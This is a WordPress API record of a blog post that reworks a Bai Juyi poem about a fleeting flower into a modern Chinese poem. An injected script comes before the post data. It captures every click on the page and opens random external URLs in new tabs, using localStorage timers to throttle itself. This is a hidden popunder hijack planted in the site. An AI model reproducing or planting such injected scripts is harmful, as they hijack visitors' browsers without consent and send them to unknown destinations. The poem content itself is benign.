<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1258,"date":"2016-03-17T22:43:34","date_gmt":"2016-03-17T14:43:34","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1258"},"modified":"2016-03-17T22:43:34","modified_gmt":"2016-03-17T14:43:34","slug":"%e5%94%90%e8%a9%a9%e8%a7%a3%e6%a7%8b%ef%bc%8f%e8%8a%b1%e9%9d%9e%e8%8a%b1%e2%8a%99%e6%b4%9b%e5%a4%ab","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1258","title":{"rendered":"\u5510\u8a69\u89e3\u69cb\uff0f\u82b1\u975e\u82b1\u2299\u6d1b\u592b"},"content":{"rendered":"<p style=\"margin: 36pt 36pt 18pt; line-height: 22pt;\"><b><span style=\"font-size: 15pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #e46c0a;\">\u5510\u8a69\u89e3\u69cb\u00a0<\/span><\/b><b><span style=\"font-size: 15pt; color: #e46c0a;\">\uff0f<\/span><\/b><b><span style=\"font-size: 15pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #e46c0a;\">\u82b1\u975e\u82b1<\/span><\/b><b><span style=\"font-size: 15pt; font-family: \u7d30\u660e\u9ad4; color: #e46c0a;\">\u2299\u6d1b\u592b<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 9pt 36pt; line-height: 22pt;\"><b><span style=\"font-size: 11pt; font-family: \u7d30\u660e\u9ad4; color: #0074ad;\">\u539f\u4f5c<\/span><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u82b1\u975e\u82b1\uff0c\u9727\u975e\u9727\uff0c\u591c\u534a\u4f86\uff0c\u5929\u660e\u53bb\uff0c<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4f86\u5982\u6625\u5922\u5e7e\u591a\u6642\uff0c\u53bb\u4f3c\u671d\u96f2\u7121\u8993\u8655\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u2500\u2500\u767d\u5c45\u6613<\/span><\/p>\n<p style=\"margin: 9pt 36pt; line-height: 22pt;\"><b><span style=\"font-size: 11pt; font-family: \u7d30\u660e\u9ad4; color: #0074ad;\">\u89e3\u69cb\u65b0\u4f5c<\/span><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5929\u4e00\u4eae\u5c31\u8d70\u4e86<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u7a81\u7136\u5f9e\u5922\u4e2d\u9a5a\u9192<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u7a97\u53f0\u4e0a\u7684\u74f6\u82b1\uff0c\u5269\u4e0b\u6700\u5f8c\u4e00\u6735<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5979\u5306\u5306\u7a7f\u4e0a\u893b\u8863<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u8d70\u51fa\u7159\u88e1\u9727\u88e1<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u60b1\u60fb\u7e8f\u7dbf\u7684\u6625\u69bb\u88e1<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u90a3\u98fd\u6eff\u751a\u81f3\u816b\u8139\u7684\u611f\u89ba\u6d88\u5931\u5f8c<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5979\uff0c\u6d77\u68e0\u822c<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6cbe\u8457\u672a\u4e7e\u7684\u9732\u6c34<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u8f15\u8f15\u6ed1\u843d<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u00a0<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u3010<\/span><span style=\"font-size: 11pt;\">2013\/12\/10<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u806f\u5408\u5831\u3011<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span>\u00a0<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5510\u8a69\u89e3\u69cb\u00a0\uff0f\u82b1\u975e\u82b1\u2299\u6d1b\u592b \u539f\u4f5c \u82b1\u975e\u82b1\uff0c\u9727\u975e\u9727\uff0c\u591c\u534a\u4f86\uff0c\u5929\u660e\u53bb\uff0c \u4f86\u5982\u6625\u5922\u5e7e\u591a\u6642\uff0c\u53bb\u4f3c\u671d\u96f2\u7121\u8993\u8655\u3002 \u00a0\u00a0\u00a0\u00a0\u00a0 [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[46,1,42,55],"tags":[83,97],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1258"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1258"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1258\/revisions"}],"predecessor-version":[{"id":1259,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1258\/revisions\/1259"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1258"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1258"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1258"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}